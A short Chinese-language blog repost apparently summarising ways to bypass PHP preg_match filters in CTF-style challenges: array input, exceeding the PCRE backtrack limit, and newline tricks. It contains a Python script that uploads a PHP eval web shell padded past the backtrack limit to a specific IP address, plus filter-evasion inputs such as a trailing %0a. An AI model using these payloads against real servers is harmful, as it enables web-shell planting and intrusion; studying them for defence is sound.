当前位置:
首页 >
preg_match绕过总结
发布时间:2023/12/19
63
生活家
生活随笔
收集整理的这篇文章主要介绍了
preg_match绕过总结
小编觉得挺不错的,现在分享给大家,帮大家做个参考.
preg_match绕过总结
什么是preg_match
绕过方法
1、数组绕过
preg_match只能处理字符串,当传入的subject是数组时会返回false
2、PCRE回溯次数限制
PHP利用PCRE回溯次数限制绕过某些安全限制
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false
3、换行符
.不会匹配换行符,如
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}
只需要
$json="
flag"
而在非多行模式下,$似乎会忽略在句尾的%0a
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}
只需要传入
?a=flag%0a
总结
以上是生活随笔为你收集整理的preg_match绕过总结的全部内容,希望文章能够帮你解决所遇到的问题。